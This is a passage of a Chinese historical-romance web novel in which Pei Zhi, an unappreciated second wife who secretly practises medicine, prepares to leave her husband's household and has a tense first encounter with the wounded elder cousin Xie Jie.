她哭了两声,又对满屋子没头苍蝇似的下人怒道。
“再去请小裴氏来!我孙儿要是有个不好,她也别想活了。她敢不来,我瞧着她是吃了几个熊心豹子胆。”
又催促:“让你们去请张大夫,怎么大半天了还没来?快去请,拿重金去请。一定要把张大夫请来。”
下人被催得越发慌乱,端水的端水,端茶的端茶,好不容易熬的药端进去,恒哥儿喝了一口又全吐了……
秦氏此时都快悔青了肠子。
早知道就不该和小裴氏置气,逞什么能将恒哥儿接过来养着。
若是恒哥儿在小裴氏那边生了病,是福是祸都是她一个人担着,她作为婆母的,哪需要这般辛苦?
谢观南听到消息从酒席上赶了回来。
他瞧见了恒哥儿脸无血色,唇色发白,精神萎靡不振,顿时气急。
“前些日还好好的,怎么这两日成了这样了?你们是怎么照顾小少爷的?”
他原意是斥责下人,但不巧秦氏正打帘进来,一听这话瞬时气顶在胸口差点没厥过去。
“你说这是什么意思?怪为娘没照顾好恒哥儿?”
“我这两日还病着呢,替你照看你儿子都是强撑着一口气。你这个当爹的成天出门好与同窗吃酒,要么就去逛街快活……”
第11章 她会医术
一连串怨怼直朝着谢观南而去,压根没留半点情面。
谢观南微微一怔:“母亲,儿子不是这个意思。”
秦氏捂着心口,有气无力:“罢了,冤孽。你与小裴氏不和,如今竟是我来承受你们的报应。”
“去,把小裴氏哄过来。今日不管你如何,非把她哄过来。”
谢观南蹙眉。
床上恒哥儿病弱恹恹,小声哭着:“我要母亲,我要母亲……母亲抱抱……”
谢观南俯身要将他抱起。
恒哥儿突然号哭,手脚乱蹬:“不要,不要爹爹,我要母亲,哇哇……”
孩童的手脚没有轻重,好几脚都踹在了谢观南的胸腹处。他从没有受过这等冲击,差点没抱住恒哥儿。
是旁边乳母赶紧接手,将恒哥儿手脚都按住了才让谢观南脱了身。
谢观南从未这般狼狈过,出了寝屋时脸色难看。
他竟不知恒哥儿病起来是多磨人,往日见裴芷照顾,也不知她如此柔弱之身是怎么让恒哥儿乖乖听话吃药。
秦氏见他狼狈,心中稍稍舒坦,不过随即又心疼。
“快些去找来小裴氏。好汉不吃眼前亏。这次就算了,你服个软道个歉让她来……”
谢观南踌躇:“母亲,这……”
秦氏不以为意:“她哪是不肯教养恒哥儿,应该是这几年照看孩子累了,你又没给她多少好脸色,才闹了起来。”
“只要你放下身段多说两句好话,她肯定又巴巴讨好你了。”
正说话,外间下人禀报张大夫找到了。
秦氏赶紧让人请了进来。
张大夫进屋给恒哥儿把了脉,出来道:“小少爷是吃了不克化的东西,积食了。而后又没注意着了凉,肠子绞了起来才吐得厉害。”
秦氏连忙找来下人询问。果然是前日北正院的嬷嬷耐不住恒哥儿的软磨硬泡,偷偷给他吃了一个糯米果子,几个核桃酥。
昨晚睡觉时,又睡前喝了一碗温牛乳,半夜尿了床。一来二去就小病变大病。
秦氏归拢了病源,气得狠狠罚了给恒哥儿吃零食与喝牛乳的丫鬟嬷嬷们。
张大夫见她忧心,宽慰:“这看似凶险但也不急,几贴药吃下去就好了。”
秦氏连声道谢,突然她又发愁:“可是如今恒哥儿一喝药就吐。这药可怎么喂得下去?”
张大夫摸了摸胡子,皱眉:“那是有点为难。孩童不愿意吃苦药。”
突然他瞧见了秦氏手边放着一盒药膏,忍不住拿了过来闻了闻。
突然,他双眼亮了:“这药膏……”
秦氏赶紧伸手去拿,口中说:“这个不是什么好东西,一会让下人去丢了。”
刚才传话的下人就拿着这药膏,还说了裴芷传授的用法。不过秦氏哪会听?要不是气得狠了忘了,早就当场丢出去了。
张大夫手一撤,避开了秦氏的手。
他满脸不悦:“二夫人说的是反话吗?这可是千金难求的小儿理气镇痛膏,专治小儿腹痛肠绞之症。极难炼出成色这么好的。老夫这辈子也就偶尔看见一位告老还乡的老太医给他小孙子用过这药膏。”
“当年那药膏还不如这罐纯呢。”
他说着,又珍重闻了闻药膏,赞道:“这药膏肯定是花了不少心思,加的好几味药材老夫都没想到。这定是一位行医几十年的国医圣手亲手所制的。”
秦氏看向谢观南:“这药膏是你去哪儿搜罗过来给小裴氏?”
谢观南摇头:“不是我给的。”
那边张大夫已经让人按着法子去给恒哥儿按摩腹部。
他道:“孩童不吃苦药,挣扎越烈,肠子就越绞着,腹中就越痛。但有外用药膏就不需要这么难受了。药性好的,立竿见影。”
果然过了一会儿,恒哥儿不哭也不吐了。
小半刻之后,乳母欣喜过来禀报恒哥儿睡着了。
秦氏大大松了一口气,不住念佛。
张大夫道:“既然有这药膏,明日再涂两次,早上一次,夜间入睡前一次。第三日喝点养脾胃的药汤就没事了。”
说着,他去写药方了。
谢观南让人备了诊金与厚礼。
张大夫摇头:“诊金我收了便是,这些礼就算了。毕竟出大力的并不是我的方子。”
张大夫见事毕了便告辞走了。
谢观南亲自送出了府。
回了北正院,他瞧见秦氏捏着药匣出神。
谢观南上前:“母亲,大夫已走了。这恒哥儿这两日要劳烦母亲多多照顾。”
秦氏皱眉:“你说这小裴氏怎么有这么好的药?恒哥儿小时候生病,大裴氏六神无主,也不见拿出这么好的药。”
“我常吃的益气丸,药方也是小裴氏给的。”
谢观南蹙了眉。
这点他真的没想过。不过细细想起来,好像自从小裴氏入府后母亲的陈年旧疾也就犯过一两回,之后都很安生。
恒哥儿也是。出娘胎就有不足之症,所以时常生病。大裴氏裴若本来就体弱多病,又因孩子多病难养育,所以才会早逝。
可裴芷入府后恒哥儿日渐康健,养的白白胖胖的。
谢观南最后道:“母亲先去歇息吧。药膏的事我改日去问小裴氏。”
清冷的眼中有自信:“母亲放心,她不敢拿着药方借故拿捏。”
秦氏疲倦摆了摆手:“罢了,不用问了。你让她继续教养恒哥儿,别的事先放一边吧。”
谢观南出了北正院,经过闹了这么一出些微的酒意散去,脑子反而清醒几分。
夜深了,天幕上几点零星星子孤寂泛着微光,却没有月。
青书问:“二爷回清心苑吗?”
谢观南的脚步已向清心苑而去,听到这话脚收了回来。
“不去了。”他嗓音淡淡的,“若是少夫人问起恒哥儿的病,就说张大夫药到病除,她那药膏没什么用。”
青书愕然。
……
裴芷伏案写了好几张纸,又细细查了手边的医书。确认万无一失后,又加减了一两味药又誊抄了一遍。
梅心等墨迹干了,小心收了起来。她将药方收到了一个木匣子里,匣子有个暗格方子都放在里面。匣子里放着一串买菜用的铜钱打个掩护。
裴芷:“明日一早拿了去给济世堂的掌柜,就说这三张方子我按病症增减过了。让他照方煎药即可。”
梅心:“少夫人放心,奴婢晓得的。”
第12章 第二件要放手的事
济世堂的掌柜是裴芷的忘年交。
裴芷从小喜欢看医书,时常派梅心去抓药验证自己的药方子。一来二去掌柜觉得奇怪,因为有的药方是自己写的,药材难全。
有的是失传许久的药方让人改了几味药材。掌柜让济世堂的坐诊老大夫看过,那几味药改得很有想法。
有一日裴芷亲自去济世堂买药。在掌柜地引荐了她见了一位神医。裴芷天资聪慧,跟着那位神医学了一年半,便能独立隔帘看诊了。
经过她看诊的病人药到病除,毫无后顾之忧。就算是只扫一眼,她就能快速对症下药,开方救人。
虽说她不缺钱,但神医规定她看诊时一定要收钱,不然会承担不该有的因果。起初裴芷不以为意,收了很少的诊金了权当自己买药材的花费。
后来裴父获罪,家产罚没了大半,家道中落。成婚后婆母对她苛刻,谢观南不在意她。又是续弦夫人,嫁妆极少。所以裴芷会时不时写点药方和丹方让济世堂的掌柜帮忙卖方子挣钱。
于是这一项长处成了她安身立命的本钱。
嫁入谢府之后,她一边调理恒哥儿的身体,也暗中调理了婆母秦氏的身子。不过因为怕他们不信任自己,便没提起这项本事。
裴芷倚在窗边罗汉床头,如画眉间有淡淡的倦色。
没了外人,身子尽可以慵懒舒展开,蜿蜒尽展如山峦般起伏,到了腰间又深深陷了进去。
梅心收好东西,犹豫问:“当真要去佛堂吗?”
去佛堂并不怕,反正进谢府这些年主仆两人形形色色的苦都吃过。怕的是秦氏不让她再出佛堂了。
但想想还不至于,秦氏虽然苛待,但也不至于恶毒到了这个地步。
裴芷:“去的。”
去过佛堂后便能安心求合离了。她也会在这些日子交出清心苑的库房钥匙,总之干干净净走,求个心安理得。
梅心想起什么,忍不住道:“少夫人一走,小少爷病中闹得厉害,他们该想起少夫人的好处了吧?”
裴芷垂下眼帘,敛起倦色:“不会的。”
就算会,她又何必贪恋他们那点施舍出来的珍重?
一样东西,久久求而不得那便不要了。就算是事后给再多,也是带了诸多的权衡与考量。那还是她原先想要的吗?
古人对嗟来之食尚且饿死都不肯食。她万般真心求来的,可不是这迟来的虚情假意。
第二日一早,北正院那边就传来消息,恒哥儿好多了。
梅心高兴:“肯定是少夫人给的药膏好用。平日恒哥儿积食难受了,抹点就好多了。”
裴芷面上淡淡的,只让她收拾东西,用完早膳她便去与婆母说一声明日就去佛堂。
收拾好,青书来了。
裴芷有些许意外。青书是谢观南身边的贴身小厮。平日极少到她跟前。就算是谢观南有什么吩咐,也不是指派青书这等贴身小厮来的。
裴芷:“二爷是有什么吩咐?”
青书:“二爷说,这几日国子监要修书,二爷住国子监去了,不回府了。”
裴芷蹙眉,不太明白为何特地给她说。
平日谢观南去哪儿都不会知会她一声,就算是兴致起来了出去远游小半月,她也是阖府最后一个人知道。
她没说话,梅心没这个涵养,道:“稀奇了,不回府便不回府吧。难道二爷不知道少夫人这几日要去佛堂抄经祈福吗?少夫人也不在清心苑。”
青书:“……”
裴芷又问谢观南有没有别的吩咐。
青书的表情挺奇怪,支支吾吾说没有。
裴芷点了点头,对梅心吩咐拿来清心苑库房钥匙交给青书。
青书愣住。他今日来可不是为了这个,而是左等右等等不到裴芷前来询问小少爷的病,谢观南问了他几次此事,似乎也急着想知道她为何不问小少爷的病情。
青书这才无奈寻了个借口过来,将自己“送”到裴芷面前。
裴芷:“这是清心苑的库房钥匙,你交给二爷,就说一应财物都在里面。至于账册,还有这月没理清楚,等我理清了再交给二爷。”
青书忍不住问:“少夫人这是做什么?”
又是交库房钥匙,又是要交账册,难道……难道二爷和二少夫人在闹合离?青书不敢往下猜测了。
难怪这两日二爷神情异样,还破天荒问了几次少夫人在做什么。如今也算是有了缘由。
想着,青书不由心里摇头。
二少夫人那么深爱二爷,又那么疼惜小少爷,怎么会舍得合离?
裴芷看了他一眼。往日总是暖如春风般的眼,此时清冷疏离得叫人看一眼都觉得唐突了。
青书垂下眼,不敢与她对视。
裴芷淡淡道:“总之,你交于二爷就是了。”
交出库房财物,这是她要放手的第二件事。
本来她入府后应该担起管理谢府二房的中馈,慢慢从婆母秦氏手中接手掌家大权。这事也是婚前谢观南亲口郑重答应过的。他说过她嫁做谢家夫,虽是续弦夫人,但一应待遇与亲姐裴若是一样的。
但,入府至今婆母连提都没提过,偶尔说起这事只让她安心照顾好恒哥儿。
口口声声说不让她为琐事烦恼,实则压根不信她,也不把她当做真正的主母。
一个续弦夫人,便是天大的道德借口。
好似她沾染一分谢府的钱银就是贪财的下作后母。
这种如履薄冰的日子她过厌了,也实在是过不下了。
青书喏喏应了,转身要离去。突然他又回身,十分生硬道:“昨晚张大夫来给小少爷看诊了,几贴药下去恒哥儿病就好了。少夫人给的药,药膏,并没有什么用。”
说完,他脸涨得更红了。
睁眼说着这天打雷劈的瞎话,实在是昧了太多的良心。
裴芷一愣,没听清到底是怎么一回事。
梅心反应快,冷笑讥讽:“既然无用那就烦请拿回来吧。那罐药膏,济世堂的掌柜花重金要让少夫人再制一罐,少夫人都推说忙制不了……”
“梅心!”
裴芷出声,明眸扫了过去。
梅心知道自己说漏了嘴,噘着嘴不再往下说了。
青书回去了,身影瞧着仓皇狼狈。
第13章 背后议论
梅心气道:“欺负人也不是这么欺负的。特特跑来说少夫人的药膏不好用。那药膏少夫人可是用了好多贵重药材,花了好几个月才炼出来一罐的。要是拿去卖钱不得上百两?”
“说不好用还回来呀。用着人家的东西,还非要睁眼瞎说不好用……”
裴芷止了梅心的念叨。
“一罐药膏罢了。又不是再也制不出来。”
她从案上抽出早就写好的合离书,眸色淡淡的,再也没有一丝眷恋与挣扎。
“这封合离书,你等午膳后寻个空亲自交给二爷。”
梅心心头一跳,低头接过。
裴芷去给婆母秦氏请安。
这一次,人到了院中竟然无需等候,就被请进了主屋中。
主屋中坐着几位前来探病的其他两房夫人和亲眷。她们瞧了裴芷一眼,便各自继续说话寒暄。
没人与她打招呼,更没人询问她那日落水之后怎样了。总之裴芷就像是个透明人似的由婆子领着请了安,坐在了屋里最偏之处。
众人说着话,说的是谢氏大房最近的事。
听说大房大公子谢玠最近去外地给皇帝办了一件极重要的差使,皇帝又赏了什么东西下来,好似圣上还松了口商议要破例封侯。
在本朝,侯爷可是实打实的爵位。
她们不懂官衔,说来说去都在说着那成堆的赏赐流水似的进了大房府邸,据说库房都快装不下了。
裴芷安静喝茶,打算等她们寒暄完了,与婆母说一声要去佛堂的事就回清心苑去。
茶抿了一口,又苦又涩还有霉味。
裴芷放下茶盏,眼角余光扫到候着的伺候茶水的婆子,见她盯着自己眼梢都是捉弄的得意。
她放下茶盏,对那婆子淡淡道:“换一盏。”
那婆子愣住,想辩解几句,一抬头瞧见裴芷一双黑黝黝的明眸中冷淡的神色。心头一颤,赶紧捧了茶盏下去换了。
茶再次奉上,已是今年最新的雨前龙井。
裴芷抿了一口,拢在手中慢慢用茶盖拂去茶沫。粉白的面上无喜无怒,瞧不出是满意还是不满意。
伺候茶水的婆子松了口气,回过神来又觉羞恼。平日她没少暗戳戳欺负裴芷来讨好樊嬷嬷,时常拿粗茶霉烂的茶让她暗中吃苦头。
裴芷平时大多只是皱了皱眉便过了。
今日是怎么了?
小裴氏就那么瞧一眼,还什么都没说呢自己就吓得腿软了。
众人说着话,恒哥儿醒了被抱出来透气。
恒哥儿见裴芷来了,伸手就要她抱。裴芷微微蹙了眉,并不上前。
往日婆母见不得她当着众人的面与恒哥儿亲近,若是抱着玩久了,都会让婆子接手过去。
先前她不懂,还当以为婆母是心疼她抱孩子手累,而后一些事便看出婆母不愿她与恒哥儿感情太深。
恒哥儿见她不抱,嘴一瘪要哭。
秦氏对裴芷道:“昨夜恒哥儿就要你来,今日见了还不与他亲近些?”
裴芷垂眸:“儿媳身上有病气,再者明日要去佛堂了,身上斋戒沐浴过了实在是不好再沾染别的。”
秦氏愣住,面上便有些不自然。
这话很是耳熟,都是从前她不乐意裴芷亲近恒哥儿的借口。如今裴芷将这些还回来了,她才知道什么叫做有苦难言。
恒哥儿哭起来。
秦氏无奈对裴芷道:“你抱抱吧。恒哥儿还是认你的。”
裴芷不能再拒,从秦氏怀中接过恒哥儿。
恒哥儿紧紧抱着她,生怕她再将自己丢下。哪还有平日半分乖张的气焰。
在座的三房夫人,钱氏笑道:“小裴氏这么年轻就那么会养孩子,以后要是给观南添个一儿半女的,那是极好的。”
四房夫人李氏突然道:“话说,小裴氏都进门三年了肚子里也没个动静。要不要去找个大夫看看?”
秦氏面上一僵,掩饰似的轻咳两声:“哪有的事,小裴氏身体很康健的,不需要看大夫。再说他们还年轻着呢,以后再要也不迟。”
说完她去瞧裴芷。裴芷垂着眸不做声,好似没听见似的。
四房夫人李氏笑:“不年轻了,今年都十八了。我那时候都已经有了慧哥儿了……”
三房夫人钱氏咳嗽打断:“慎言,还有未出阁的六姑娘在呢。”
四房夫人李氏这才换别的话。
等她们都走了,裴芷上前来禀明日一早要上佛堂抄经祈福。
秦氏迟疑道:“你身子不太好,要不还是算了吧。再说恒哥儿这两日也不能离了人。”
心道已是给了小裴氏台阶下了,她必是感恩戴德。
儿媳,还是个后娶进门的,最是好拿捏。
裴芷福了福,道:“母亲体谅,儿媳更感惶恐。去佛堂已是迟了两日,再不敢再拖延。恒哥儿如今大好,不会再闹腾了。”
秦氏心中恼怒,但让裴芷去佛堂是她亲自定下的,想收回来又觉打脸。
她闷声道:“那你去吧。”
裴芷离开北正院。
梅心扶着她小心翼翼走在青石板小径上。这几日雨水多,小径上长出不少苔藓,一不小心就湿滑跌跤。
梅心边走边道:“二夫人看样子是要免了少夫人的抄经祈福,少夫人为何不顺着二夫人的意思央求她免了这茬差使?”
裴芷提着裙摆,轻声道:“去佛堂为的是让我姐姐往生祈福,与谢府无关。”
这便是她离开谢府最后要做的第三件事。
要走了,她也想在佛前与姐姐好生告个别。
这三年她做到了承诺过的事,照顾好恒哥儿,也照顾好了谢观南。只是使劲浑身解数都无法与他们成为一家人。
她尽力了,也打算放弃了。
想必姐姐在天之灵不会怪罪她吧。
梅心还在絮叨:“说起来,少夫人照顾了所有人,唯独所有人都没瞧见少夫人的辛苦。就连裴府老夫人也是,偏疼的都是过世的大小姐……”
裴芷沉默地走着。
她不怪梅心絮叨这些没用的,有些事她不怨怼不等于不存在。身边有个人知她苦知她委屈,说两句也是一种慰藉。
哪怕这慰藉如蛛丝般,轻轻一拂就消失了。
青石板上没来得及消失的雨痕,斑斑点点最后汇成一幅潮湿的画来。她轻轻走过,看着面前生机勃发的三月初春,恍然发现唯有自己如同沉暮般死气沉沉。
这么大好的春景,而她的人生却好似走到了绝境。
第14章 夫兄谢玠
拐过一道垂花拱门,听见有熟悉的声音细碎传来。
“二房就是不让小裴氏有孕,平日里诸多由头拦着二爷和小裴氏同房,又寻了许多借口让她去跪祠堂,去佛堂祈福。”
“哎,我自然是知道的。就是提点小裴氏两句,让她在子嗣上上心。恒哥儿早晚是要过继在大房大爷名下的,不会给她的。”
“你操什么心呢。大房大爷以后说不定当侯爷呢。到时候自然有高门贵女去嫁他。倒是二房小人之心处处防着小裴氏。唉,当真是可怜……”
“说可怜也不可怜。裴家早就不是从前那般风光了。不然也不会一等大裴氏过世,就急哄哄把小裴氏塞了进来。”
“是呢,这吃相未免有点难看了。拿了女儿换裴家其余子弟的前程。难怪二房不待见小裴氏。”
“裴家打得一手好算盘。小裴氏以后还有的被磋磨的日子呢。你听说了吗?白家复起了。二房好像又盘算让二爷与白家小姐亲近。这算盘打的,啧啧……”
“这事别说了,小心隔墙有耳。”
声音消失了。
裴芷站在垂花拱门阴影处,看向远处屋檐上沉默立着的脊兽。
一向喜欢絮叨的梅心愣愣回头瞧着她,唇动了动却不知该说什么。刚才说话的是三房夫人钱氏,与四房夫人李氏。
一阵风吹来,淅淅沥沥的春雨又下了起来。
寒凉的雨滴落在脸上,滑落脸颊,似雨似泪。又滴落在领口顺着脖颈往下,周身寒意彻骨,竟像是连骨头都要冻住。
裴芷站着,任由雨水淋湿了肩头大半。
梅心还是第一次见裴芷这般难过。她不敢催促,只默默陪着裴芷站着淋雨。
裴家数代先祖,曾经是可以随意出入宫禁,教授皇帝与太子的儒师圣人。
数代秉持诗书传家之理念。朝堂上不结党,朝堂之下与名人大儒们皆是君子之交。满门清贵不可言,何时曾被人背后说贪图虚荣,以女子姻缘换得好处?
杀人诛心,也不过如此。
许久,裴芷轻声道:“走吧。”
她往相反的方向而去。梅心急忙跟上。
裴芷走了一会儿,才惊觉面前的路十分陌生。
梅心瞧了瞧,安慰:“少夫人莫要害怕,奴婢认得路。从此处绕过去是松风院。从松风院后边捡一条小路就能到清心苑,只是会多走一段。”
裴芷微蹙了秀眉:“这不好吧。”
她后悔方才心烦意乱,竟绕到了此处。
松风院是大房长子,谢玠的园子,也就是谢府旁支口中尊称的“大爷”。
松风院占地很大,加起来比二房的偏府总体还大上三分之一,还不算上大房主主府邸东南西北四个正院。
若是真的比较起来,谢家其余几房住的便是泥瓦草房似的。
院子大,路就得绕很远。
这还不是最麻烦的,最麻烦的是寻常人等是不可以擅闯松风院附近的。这是谢玠的严令。听说因为这,还杀过人。
梅心见雨势大了起来,而裴芷上半身已淋湿,再往回走势必全身湿透。明日就要去佛堂了,若是生病了才真的叫天不应叫地不灵。
“少夫人赶紧回去吧。松风院虽平时不让外人靠近,但听说大爷四处办差,鲜少回府,今日不一定在府上。”
“就算真的被松风院的守卫撞见了,求个情也是没事的。毕竟少夫人也是谢家人。”
裴芷想了想,这才与梅心一起往那条幽深的小道而去。
可没料到自己倒霉起来什么稀罕事都能遇上。
才刚走了一盏茶功夫,就被不知从哪儿冒出的侍卫喝住。
一位身材高大,面容英气的侍卫握住腰间的剑,走了过来。
“为何不跪?!”
他是谢玠身边的贴身大护卫,奉戍。
梅心吓得哆嗦,一下子跪在地上,话都不会说了。
裴芷抬头看去,只见小道尽头一位着锦面绣金蟒纹常服,高大阴沉的男人缓缓走来。
三月寒雨淅淅沥沥下着,潮湿的水汽模糊了两边葳蕤的花木,那男人浑身散发出比春寒还沁冷气息的魔魅气息。
他一步步,不急不缓朝着她走来,有一刹那似从阴冷水中行走而出。
谢玠,她终于第一次如此近地见着了他。
传说谢家长房大爷是个手段极冷酷,又极暴戾之人。这些年他给皇帝办了好几件大案,凶名在外惹得不少人忌惮非常。
又传说他是天煞孤星,更是克死了未婚妻。
裴芷听过他的无数传言,也曾想过如此高高在上,神秘莫测的爷该是怎么样三头六臂,或是威武霸道之人。
但今日只打个照面便知脑中想象全是错的。
男人容貌极冷肃俊魅,细看之下又带了一丝丝说不出的妖冶。剑眉笔直斜斜插入整齐的鬓角。眼窝深邃,眉骨高耸,是极肃冷的眉压眼,
深凹的眼形极好看,是标准的桃花眼,但却又因为眼梢稍显高了,便有了居高临下的冷傲。特别是那一双墨色眼瞳中无波无澜,仿若深渊古井,无法看透。
鼻梁高且直。男人的唇是不笑的时候微微抿着,十分冷漠,但唇形十分好看,有种与气质冲突的柔和弧度。
他身量很高,约莫比谢观南还高半个头。与儒雅斯文的谢观南不同,他一点都不瘦弱,肩宽腰窄精瘦有力。
镶嵌了八色宝石玄色腰带将男人的腰勒得细,往下是逆天的长腿。
因下朝换了官服,他着了一件朱色为主的锦面蟒纹常服,披着一件玄狐锻面薄披风以挡风雨。
人在晦暗的风雨中半点不减气势。
裴芷对上他的眼,瞬时一颤,垂下眼不敢与他对视。
那是怎么一双眼?
这一双眼看人时,眸光迅捷如闪电,似一把利刃直插入心中。让人无端害怕,又觉得必须跪下来仰望。
裴芷福了福身,轻声将自己是谁如何来这里借道缘由说了。
男人微微蹙了蹙眉。
他向来不喜人靠近松风院,更何况是女人。
裴芷说完便退到路边,垂眸袖手,听天由命等着。不知道他会怎么处置擅闯松风院的人。
第15章 谢玠受伤
等了一会儿。面前一双绣了蝠纹的金线皂靴映入裴芷眼帘,而后便是黝黑发亮的缎面袍角。
男人身上带着从金銮殿熏来的龙涎香气,清清冷冷闯进鼻间。
心间颤了颤,她悄悄退后半步,恭顺垂下眼帘。
皂靴在她面前没半点停留,跨了一步冷冷越过她,走了。至始至终,谢玠也就只在她面前停留不到几息功夫,便无视而去。
裴芷主仆两人等他们离开,大大松了一口气。
梅心从地上哆嗦站起身:“大爷好威风好吓人,看着像是活阎王似的。奴婢差点被吓死。”
裴芷拉她的手:“赶紧走吧。”
刚刚一瞬,她背后冒出了冷汗。
不仅因为谢玠身上的气势惊人,而是她闻到了熟悉的药味——专门治外伤的伤药。
谢玠,受伤了。
……
谢玠到了松风院,侍卫们便里里外外守得如同铁桶似的。众侍卫面色冷肃,无形杀气弥散开去,织成一张细密的网。
奉戍进屋来,熟门熟路将门窗一关,利落从暗格里找出绷带与大小瓶瓶罐罐的伤药。
谢玠已脱去披风,露出腰间一大团晕了血的伤处。腰腹间插着被截断一半箭杆的箭矢。箭矢入肉极深,几乎要刺到脏器。
他面无表情,拿了一把匕首割碎了身上的锦袍。露出线条分明的结实肌肉。
奉戍将药罐摆在桌子上,又拿了一柄寒光闪闪的小匕首在火上烧了烧。
他递上一团绢帕:“属下要拔箭了。”
谢玠冷冷推开绢帕:“直接下刀吧。”
奉戍似乎早就习惯了他的做派,靠近伤处用手中的小匕首在伤口处慢慢割了一刀扩大伤口。鲜血争先恐后冒了出来,冲散了洒上的药粉。
屋子里血腥味弥漫,气氛凝重无比。
谢玠不去看伤处,看向窗外那一树在寒雨中的寒梅。寒梅已经凋落,只有几朵依旧倔强停留在枝头。
“扑”的一声,箭尖拔出。
谢玠看向奉戍。奉戍的手中拿着一枝鲜血淋漓的倒刺箭头。
他脸色极难看:“大人,这箭头果然有毒。”
谢玠修长手指捏起箭头细细看了一眼,上面有诡异的蓝。
谢玠深眸微眯:“拿着这枚箭头去大理寺查查,五年前江南曹家盐商全家被灭门旧卷宗案子,也许会有头绪。”
箭矢的做工和箭尖的纹路有点眼熟。他心中自然有怀疑的对象。
奉戍点头,将带毒的箭头小心装入一个木匣子中。
一盏茶功夫后谢玠腰腹间已缠上了绷带,换上了干净的中衣。窗户打开,潮湿的水汽蔓了进来。
整个屋子血腥气渐渐散去。
他立在窗前,侧面如雕如琢。墨色长发披散肩头。衣如雪,发如墨,高大的身躯蕴藏着比寒雨更沉冷的煞气。
奉戍捧着匣子要走,忽地问道:“方才二房的小裴氏要不要也查一查?”
回府的路上遇刺,院子前二房的人就出现在松风院旁,若不是为了打探消息那未免太凑巧了些。
小裴氏有可疑之处。
谢玠淡淡的:“不必。”
奉戍点了点头,转身要走。
“不过……”身后传来冷冽至极的嗓音,他面色浸润在升起的雾气中,令人瞧不清。
“查查她何处学的医术。”
方才他走过,那女人屏住了呼吸而后刻意放缓。很明显是药味与血腥味冲撞了她。
而他身上的伤药是经过处理过的,还特地染上了香,若不是鼻子极灵敏的人,或是对药香极熟悉的人是无法察觉到的。
一介深宅妇人,平日没什么出彩的地方,从何处学了医术?
……
裴芷回到了清心苑,兰心赶紧烧了热水给她沐浴。
幸好回来得早些,并没有受寒。裴芷泡在水汽氤氲的木桶中,疲倦舒展了眉心。脑中有些乱,时不时想起了谢玠那张俊魅又冷肃到了极点的脸。
总觉得他看她的目光带了深藏的怀疑。说不清他怀疑什么,就是一种直觉。
此人,还是少接触为妙。
沐浴过了,兰心递上来一封从老家送来的信。
裴芷拆开一看,不禁拧紧了眉心。
信中母亲让裴芷与谢观南说,让两位侄儿进谢家族学中。事并不大,但母亲期盼的事注定没法办成。
裴芷慢慢将信又看了一遍,然后丢入火笼中。
火光中,她眉眼清冷,十分平静:“拿一百两,让陈掌柜派人送回青州,说谢府的族学已满了,实在是安置不了了。”
兰心犹豫:“可是夫人恐怕不会罢休的。”
去年裴芷母亲就因这事上京探亲时闹了一回,当众骂了裴芷不孝。闹得阖府都知道,裴芷差点下不来台。最后拿了体己二百两送去,又跪了许久赔罪,裴夫人才算消气。
今年开春裴夫人又旧事重提,恐怕并不是钱的事。
兰心担心的是,裴夫人苏氏又来京中再闹一番。少夫人在谢府的处境已经十分难了,再闹事端肯定更不受谢府待见。
裴芷道:“先这样处置吧。”
兰心点头,从裴芷私库中拿了钱去安排了。
裴芷拢着外衣,静静瞧着火笼中炭火明灭。
微弱的火光中面颊肌肤白腻如雪,几缕发丝垂下,清瘦的身形笼在烛火中。朦胧又脆弱。
不怪谢府的人都瞧不起她,裴家的风光早就在父亲裴济舟获罪时,早就碎了一地。
母亲苏氏是个极要强极要面子的人。老家的族中人习惯了大事小事都求到了她的头上。苏氏为了那点所谓的面子,便只能来逼她。
去岁就因为裴氏子侄要进谢府族学闹了一场。
她曾求过谢观南,但谢观南当时的眼神十分令人心寒。
“裴芷,情分不是这么用的。谢家不嫌弃裴家落败,已是顾念从前的交情。要求再多,只会令人觉得裴家贪得无厌。”
“既然嫁做谢家妇,就该心向着夫家。你不要叫我失望。”
她记得愣了许久才缓过神来。
虽言明裴家子侄进入谢家族学中的束脩都由她出,但谢观南还是不愿开口帮忙去说。
他的厌烦如此明显,令她灭了心中的期待。
第16章 归还账册
兰心又将账册拿了来,说:“这月的账都理清楚了。少夫人让奴婢算了余钱,大约有五百三十二两,济世堂掌柜那边还有这月还没结的七两五钱诊金。一共是,五百三十九两五钱。”
裴芷回过神,道:“明日等我去佛堂,你便送去给二爷。”
兰心点头,欲言又止。
“少夫人,真的要如此吗?”她终究忍不住问,“若是离开谢府,老家那边也没有少夫人的立足之地。那到时候怎么办?”
裴芷不做声,看向窗外。
雨已经停了,天色极快暗了下来。晦暗不明,一如她未知的前程。
……
夜深,谢观南到了清心苑除了大门边两盏风灯外,院中灯火俱灭,恍若被荒废许久的荒园。
他极快往前走了几步,骤然又顿住脚步。
今日清心苑梅心送来一封信件模样的东西,他问是什么,梅心支支吾吾不肯说。
他隐约猜到是什么,但又万分不信平日极温顺的女人会有勇气送来此物。于是将信封丢在了暗格中。
他问青书:“少夫人不在?”
青书心中没底,匆匆去问了下人:“少夫人睡着了。”
谢观南沉默行至主屋。
值夜丫鬟来点灯布置床铺。他扫眼看去,床榻上空荡荡的,就连摆设似乎都少了好几样。
偌大的主屋空了,心里蓦然也空泛了不少。
那位不管多晚都会守着他回来的人,似乎打定主意再也不与他一起。
青书见谢观南突兀站着,奇怪问:“二爷,现在就寝吗?”
谢观南问:“少夫人呢?”
青书一愣,只觉得今日二爷实在是奇怪。早说这几日不回府,又深夜特地回来。还问了少夫人。
“少夫人应该是在偏屋睡着了。明日少夫人还得去佛堂抄经祈福呢。”他好心提醒,“去佛堂之前是需要斋戒净身的。”
谢观南缓缓点了点头:“佛堂清苦,明日你将府中给我新做的狐裘袄子送去。”
青书又是一愣。
谢观南只觉得平日伶俐的贴身小厮怎么呆呆愣愣的。于是蹙眉:“有什么不妥吗?”
青书回过神来,赶紧道:“没,没什么不妥。只是平时二爷鲜少关心少夫人。”
这几日好像二爷变了个人似的。
这些年来裴芷除了兢兢业业照顾小少爷外,又是抄经又是跪祠堂的,哪次二爷关心过她冷不冷,苦不苦的。
谢观南闻言微怔:“是吗?”
青书不敢说主家是非,连忙道:“二爷如此关心少夫人,少夫人一定会很高兴。”
谢观南心中舒展了一口气。
是的,他这般示好,裴芷心中的气也该消了罢。她提出和离定是与他赌气,并不是真的想离开他。
她怎么能离开谢家呢?裴母不疼她,合离后势必不会让她回家。
她一介弱女子,没有谋生的长处也没有田产铺子,怎么敢的?
想着,紧绷了一天的心松了松。
谢观南让人伺候更衣就寝,自是不提。
第二日一早,谢观南听见院外动静醒来,下意识道:“芷儿你这么早……”
喊完,他清醒过来。
